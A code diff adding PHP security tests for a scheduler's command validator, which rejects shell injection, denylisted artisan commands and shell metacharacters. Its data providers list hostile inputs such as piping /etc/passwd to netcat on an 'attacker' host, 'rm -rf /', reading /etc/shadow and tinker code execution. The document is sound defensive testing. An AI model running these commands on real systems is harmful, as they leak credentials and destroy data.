a/plugins/_bundled/sirsoft-verification_kginicis/CHANGELOG.md +++ b/plugins/_bundled/sirsoft-verification_kginicis/CHANGELOG.md @@ -4,7 +4,7 @@ All notable changes to this plugin will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). -## [1.0.1] - 2026-07-09 +## [1.0.1] - 2026-07-14 ### Security diff --git a/tests/Feature/Security/ScheduleCommandGuardTest.php b/tests/Feature/Security/ScheduleCommandGuardTest.php new file mode 100644 index 00000000..65a28909 --- /dev/null +++ b/tests/Feature/Security/ScheduleCommandGuardTest.php @@ -0,0 +1,328 @@ +operator = $this->createScheduleOperator(); + $this->token = $this->operator->createToken('test-token')->plainTextToken; + } + + // ======================================================================== + // 저장 시점 — store/update 422 + // ======================================================================== + + /** + * 게이트가 꺼진 기본 상태에서 저권한 계정의 shell 스케줄 생성은 422 로 거부된다. + * + * @param string $command 악성/미허용 shell command + */ + #[DataProvider('maliciousShellCommandProvider')] + public function test_store_rejects_shell_command_when_gate_disabled(string $command): void + { + $response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [ + 'name' => 'rce 시도', + 'type' => ScheduleType::Shell->value, + 'command' => $command, + 'expression' => '* * * * *', + 'frequency' => 'everyMinute', + ]); + + $response->assertStatus(422); + $response->assertJsonValidationErrors('command'); + } + + /** + * 저권한 계정의 차단목록 artisan 스케줄 생성은 422 로 거부된다. + * + * @param string $command 차단목록 artisan command + */ + #[DataProvider('deniedArtisanCommandProvider')] + public function test_store_rejects_denylisted_artisan_command(string $command): void + { + $response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [ + 'name' => 'artisan rce 시도', + 'type' => ScheduleType::Artisan->value, + 'command' => $command, + 'expression' => '* * * * *', + 'frequency' => 'everyMinute', + ]); + + $response->assertStatus(422); + $response->assertJsonValidationErrors('command'); + } + + /** + * 게이트를 켜고 실행 파일을 화이트리스트에 등록하면 정상 shell 스케줄 생성은 201 로 허용된다. + */ + public function test_store_allows_whitelisted_shell_command_when_gate_enabled(): void + { + config([ + 'schedule_security.shell.enabled' => true, + 'schedule_security.shell.allowed_binaries' => ['backup.sh'], + ]); + + $response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [ + 'name' => '정상 백업 스케줄', + 'type' => ScheduleType::Shell->value, + 'command' => 'backup.sh --full', + 'expression' => '* * * * *', + 'frequency' => 'everyMinute', + ]); + + $response->assertStatus(201); + } + + /** + * 정상 artisan 스케줄 생성은 201 로 허용된다 (기본 허용 정책). + */ + public function test_store_allows_normal_artisan_command(): void + { + $response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [ + 'name' => '캐시 정리 스케줄', + 'type' => ScheduleType::Artisan->value, + 'command' => 'cache:clear', + 'expression' => '* * * * *', + 'frequency' => 'everyMinute', + ]); + + $response->assertStatus(201); + } + + /** + * 기존 shell 스케줄의 command 만 악성 값으로 바꾸는 update 요청도 422 로 거부된다 + * (PATCH 에 type 이 없어도 저장된 타입으로 폴백 검증). + */ + public function test_update_rejects_malicious_shell_command_without_type_in_request(): void + { + $schedule = Schedule::create([ + 'name' => '기존 스케줄', + 'type' => ScheduleType::Shell, + 'command' => 'backup.sh', + 'expression' => '* * * * *', + 'is_active' => true, + ]); + + $response = $this->authRequest()->putJson( + route('api.admin.schedules.update', ['schedule' => $schedule->id]), + ['command' => 'id; cat /etc/passwd'] + ); + + $response->assertStatus(422); + $response->assertJsonValidationErrors('command'); + } + + // ======================================================================== + // 실행 시점 — runSchedule 차단 (DB 직접 주입 값 방어) + // ======================================================================== + + /** + * 게이트가 꺼진 상태에서 DB 에 직접 심어진 shell 스케줄은 실행 시점에 차단된다 + * (저장 검증을 우회해 들어온 값 방어 — 마지막 방어선). + */ + public function test_run_blocks_shell_schedule_when_gate_disabled(): void + { + Process::fake(); + + $schedule = Schedule::create([ + 'name' => 'DB 직접 주입 shell', + 'type' => ScheduleType::Shell, + 'command' => 'id', + 'expression' => '* * * * *', + 'is_active' => true, + ]); + + $this->assertScheduleRunIsBlocked($schedule); + Process::assertNothingRan(); + } + + /** + * DB 에 직접 심어진 차단목록 artisan 스케줄은 실행 시점에 차단된다. + */ + public function test_run_blocks_denylisted_artisan_schedule(): void + { + $schedule = Schedule::create([ + 'name' => 'DB 직접 주입 artisan', + 'type' => ScheduleType::Artisan, + 'command' => 'tinker --execute=system("id");', + 'expression' => '* * * * *', + 'is_active' => true, + ]); + + $this->assertScheduleRunIsBlocked($schedule); + } + + /** + * 게이트 on + 화이트리스트 등록 시, 허용된 shell 스케줄은 인자 배열로 실행된다 + * (문자열이 아닌 배열 → `/bin/sh -c` 미경유). + */ + public function test_run_executes_whitelisted_shell_command_as_argument_array(): void + { + config([ + 'schedule_security.shell.enabled' => true, + 'schedule_security.shell.allowed_binaries' => ['backup.sh'], + ]); + Process::fake(['*' => Process::result('done', '', 0)]); + + $schedule = Schedule::create([ + 'name' => '정상 백업', + 'type' => ScheduleType::Shell, + 'command' => 'backup.sh --full /var/data', + 'expression' => '* * * * *', + 'is_active' => true, + ]); + + app(ScheduleService::class)->runSchedule($schedule); + + // 셸 미경유 검증: Process 에 문자열이 아닌 인자 배열이 전달됨 + Process::assertRan(function ($process) { + return $process->command === ['backup.sh', '--full', '/var/data']; + }); + } + + // ======================================================================== + // Helpers + // ======================================================================== + + /** + * runSchedule 이 차단되어 실패 이력으로 기록되는지 단언합니다. + * + * runSchedule 은 실행 실패를 실패 이력으로 남긴 뒤 ValidationException 으로 전파한다. + * + * @param Schedule $schedule 실행 대상 스케줄 + */ + private function assertScheduleRunIsBlocked(Schedule $schedule): void + { + try { + app(ScheduleService::class)->runSchedule($schedule); + $this->fail("차단되어야 하는 스케줄이 실행됨: {$schedule->command}"); + } catch (ValidationException $e) { + // 실행 실패 경로 — 아래에서 실패 이력을 확인한다 + } + + $this->assertSame( + ScheduleResultStatus::Failed, + $schedule->fresh()->last_result, + "차단된 스케줄이 실패로 기록되지 않음: {$schedule->command}" + ); + } + + /** + * 인증된 JSON 요청 헬퍼. + */ + private function authRequest(): static + { + return $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->token, + 'Accept' => 'application/json', + ]); + } + + /** + * 스케줄 권한만 위임받은 저권한 "스케줄 운영자" 계정을 생성합니다. + * + * @return User is_super=0, core.schedules.read/create/update/run 만 보유 + */ + private function createScheduleOperator(): User + { + $user = User::factory()->create(); + + $permissionIds = []; + foreach (['core.schedules.read', 'core.schedules.create', 'core.schedules.update', 'core.schedules.run'] as $identifier) { + $permission = Permission::firstOrCreate( + ['identifier' => $identifier], + [ + 'name' => json_encode(['ko' => $identifier, 'en' => $identifier]), + 'description' => json_encode(['ko' => $identifier, 'en' => $identifier]), + 'extension_type' => 'core', + 'extension_identifier' => 'core', + 'type' => 'admin', + ] + ); + $permissionIds[] = $permission->id; + } + + $operatorRole = Role::create([ + 'identifier' => 'schedule_operator_'.uniqid(), + 'name' => json_encode(['ko' => '스케줄 운영자', 'en' => 'Schedule Operator']), + 'is_active' => true, + ]); + $operatorRole->permissions()->sync($permissionIds); + + // isAdmin() 통과를 위한 admin 타입 역할 (설계상 admin 로그인 허용 — 진짜 결함은 능력 위임 범위) + $adminRole = Role::firstOrCreate( + ['identifier' => 'admin'], + [ + 'name' => json_encode(['ko' => '관리자', 'en' => 'Administrator']), + 'extension_type' => 'core', + 'extension_identifier' => 'core', + 'is_active' => true, + ] + ); + + $user->roles()->attach($adminRole->id, ['assigned_at' => now()]); + $user->roles()->attach($operatorRole->id, ['assigned_at' => now()]); + + return $user->fresh(); + } + + /** + * 게이트 꺼진 상태에서 거부되어야 하는 shell command 목록. + * + * @return array + */ + public static function maliciousShellCommandProvider(): array + { + return [ + '임의 명령 (보고서 주 시나리오)' => ['id'], + '체이닝' => ['backup.sh; rm -rf /'], + '파이프 역쉘' => ['cat /etc/passwd | nc attacker 4444'], + '명령치환' => ['echo $(id)'], + ]; + } + + /** + * 차단목록 artisan command 목록. + * + * @return array + */ + public static function deniedArtisanCommandProvider(): array + { + return [ + 'tinker 임의 PHP 실행' => ['tinker --execute=system("id");'], + 'db:wipe 파괴적' => ['db:wipe'], + 'migrate:fresh 파괴적' => ['migrate:fresh'], + ]; + } +} diff --git a/tests/Unit/Support/ScheduleCommandValidatorTest.php b/tests/Unit/Support/ScheduleCommandValidatorTest.php new file mode 100644 index 00000000..d2000069 --- /dev/null +++ b/tests/Unit/Support/ScheduleCommandValidatorTest.php @@ -0,0 +1,278 @@ + $binaries 허용 실행 파일 basename 목록 + */ + private function enableShell(array $binaries = ['backup.sh']): void + { + config([ + 'schedule_security.shell.enabled' => true, + 'schedule_security.shell.allowed_binaries' => $binaries, + ]); + } + + // ======================================================================== + // Shell — 게이트 + // ======================================================================== + + /** + * 게이트가 꺼져 있으면 화이트리스트에 있는 명령도 거부한다 (기본 차단). + */ + #[Test] + public function it_blocks_every_shell_command_when_the_gate_is_disabled(): void + { + config([ + 'schedule_security.shell.enabled' => false, + 'schedule_security.shell.allowed_binaries' => ['backup.sh'], + ]); + + $this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh')); + } + + /** + * 게이트가 켜져 있어도 화이트리스트가 비어 있으면 모두 거부한다. + */ + #[Test] + public function it_blocks_every_shell_command_when_the_whitelist_is_empty(): void + { + $this->enableShell([]); + + $this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh')); + } + + // ======================================================================== + // Shell — 화이트리스트 + // ======================================================================== + + /** + * 게이트 on + 화이트리스트 등록 실행 파일은 허용한다 (정상 운영 경로). + * + * @param string $command 허용되어야 하는 command + */ + #[Test] + #[DataProvider('allowedShellCommandProvider')] + public function it_allows_whitelisted_shell_binaries(string $command): void + { + $this->enableShell(['backup.sh']); + + $this->assertTrue( + ScheduleCommandValidator::isShellCommandAllowed($command), + "허용되어야 하는 명령이 차단됨: {$command}" + ); + } + + /** + * 화이트리스트에 없는 실행 파일은 거부한다. + * + * @param string $command 차단되어야 하는 command + * @param string $reason 차단 사유 (실패 메시지용) + */ + #[Test] + #[DataProvider('blockedShellCommandProvider')] + public function it_blocks_shell_commands_outside_the_whitelist(string $command, string $reason): void + { + $this->enableShell(['backup.sh']); + + $this->assertFalse( + ScheduleCommandValidator::isShellCommandAllowed($command), + "차단되어야 하는 명령이 통과함 ({$reason}): {$command}" + ); + } + + // ======================================================================== + // Shell — 토큰화 (셸 미경유 실행 가능 여부) + // ======================================================================== + + /** + * 셸 메타문자가 섞인 명령은 토큰화를 거부한다 (인자배열 실행 불가 → 실행 차단). + * + * @param string $command 메타문자가 포함된 command + * @param string $reason 차단 사유 (실패 메시지용) + */ + #[Test] + #[DataProvider('shellMetacharacterCommandProvider')] + public function it_refuses_to_tokenize_commands_containing_shell_metacharacters(string $command, string $reason): void + { + $this->assertNull( + ScheduleCommandValidator::tokenizeShellCommand($command), + "토큰화가 거부되어야 하는 명령이 통과함 ({$reason}): {$command}" + ); + } + + /** + * 메타문자 없는 명령은 공백 기준 인자 배열로 토큰화한다. + */ + #[Test] + public function it_tokenizes_a_plain_command_into_an_argument_array(): void + { + $this->assertSame( + ['backup.sh', '--full', '/var/data'], + ScheduleCommandValidator::tokenizeShellCommand('backup.sh --full /var/data') + ); + } + + /** + * 빈 문자열·공백만 있는 명령은 토큰화를 거부한다. + */ + #[Test] + public function it_refuses_to_tokenize_a_blank_command(): void + { + $this->assertNull(ScheduleCommandValidator::tokenizeShellCommand(' ')); + } + + // ======================================================================== + // Artisan — 차단목록 + // ======================================================================== + + /** + * 차단목록에 오른 artisan 명령은 거부한다 (코드 실행형·파괴적 명령). + * + * @param string $command 차단되어야 하는 command + */ + #[Test] + #[DataProvider('deniedArtisanCommandProvider')] + public function it_blocks_denylisted_artisan_commands(string $command): void + { + $this->assertFalse( + ScheduleCommandValidator::isArtisanCommandAllowed($command), + "차단되어야 하는 artisan 명령이 통과함: {$command}" + ); + } + + /** + * 차단목록에 없는 artisan 명령은 허용한다 (기본 허용). + * + * @param string $command 허용되어야 하는 command + */ + #[Test] + #[DataProvider('allowedArtisanCommandProvider')] + public function it_allows_artisan_commands_that_are_not_denylisted(string $command): void + { + $this->assertTrue( + ScheduleCommandValidator::isArtisanCommandAllowed($command), + "허용되어야 하는 artisan 명령이 차단됨: {$command}" + ); + } + + /** + * artisan 명령명은 첫 토큰으로 추출한다. + */ + #[Test] + public function it_extracts_the_artisan_command_name_from_the_first_token(): void + { + $this->assertSame('cache:clear', ScheduleCommandValidator::extractArtisanCommandName(' cache:clear --force ')); + $this->assertNull(ScheduleCommandValidator::extractArtisanCommandName(' ')); + } + + // ======================================================================== + // Data Providers + // ======================================================================== + + /** + * 허용되어야 하는 shell command 목록. + * + * @return array + */ + public static function allowedShellCommandProvider(): array + { + return [ + '실행 파일 단독' => ['backup.sh'], + '인자 포함' => ['backup.sh --full /var/data'], + '절대경로 (basename 일치)' => ['/usr/local/bin/backup.sh --full'], + '앞뒤 공백' => [' backup.sh '], + ]; + } + + /** + * 차단되어야 하는 shell command 목록. + * + * @return array + */ + public static function blockedShellCommandProvider(): array + { + return [ + '화이트리스트 외 명령' => ['id', '보고서 주 시나리오 — 임의 명령 실행'], + '화이트리스트 외 절대경로' => ['/bin/sh', '셸 자체 실행'], + '접두사 확장 우회' => ['backup.sh.evil', 'basename 완전 일치가 아님'], + '접미사 확장 우회' => ['evil-backup.sh', 'basename 완전 일치가 아님'], + '체이닝으로 화이트리스트 위장' => ['backup.sh; id', '메타문자 — 토큰화 거부'], + '파이프로 화이트리스트 위장' => ['backup.sh | nc attacker 4444', '메타문자 — 토큰화 거부'], + '명령치환으로 화이트리스트 위장' => ['backup.sh $(id)', '메타문자 — 토큰화 거부'], + '빈 명령' => ['', '빈 문자열'], + ]; + } + + /** + * 셸 해석을 유발하는 메타문자가 포함된 command 목록. + * + * @return array + */ + public static function shellMetacharacterCommandProvider(): array + { + return [ + '세미콜론 체이닝' => ['backup.sh; rm -rf /', '세미콜론'], + '파이프' => ['cat /etc/passwd | nc attacker 4444', '파이프'], + '백그라운드 실행' => ['backup.sh & id', '앰퍼샌드'], + '명령치환 $()' => ['echo $(id)', '달러 + 괄호'], + '명령치환 백틱' => ['echo `id`', '백틱'], + '출력 리다이렉션' => ['backup.sh > /etc/crontab', '리다이렉션'], + '입력 리다이렉션' => ['backup.sh < /etc/shadow', '리다이렉션'], + '와일드카드' => ['rm -rf /var/*', '글롭'], + '따옴표' => ['backup.sh "a b"', '따옴표 — 순진한 토큰화 불가'], + '개행 주입' => ["backup.sh\nid", '개행'], + ]; + } + + /** + * 차단되어야 하는 artisan command 목록. + * + * @return array + */ + public static function deniedArtisanCommandProvider(): array + { + return [ + 'tinker — 임의 PHP 실행' => ['tinker --execute=system("id");'], + 'tinker 단독' => ['tinker'], + '대소문자 우회' => ['TINKER --execute=1'], + 'db:wipe — 파괴적' => ['db:wipe'], + 'migrate:fresh — 파괴적' => ['migrate:fresh --seed'], + 'migrate:reset' => ['migrate:reset'], + 'migrate:rollback' => ['migrate:rollback'], + 'key:generate' => ['key:generate'], + 'env:decrypt' => ['env:decrypt'], + 'schedule:run' => ['schedule:run'], + '빈 명령' => [''], + ]; + } + + /** + * 허용되어야 하는 artisan command 목록 (정상 운영 명령). + * + * @return array + */ + public static function allowedArtisanCommandProvider(): array + { + return [ + 'cache:clear' => ['cache:clear'], + '인자 포함' => ['queue:work --stop-when-empty'], + 'inspire' => ['inspire'], + ]; + } +}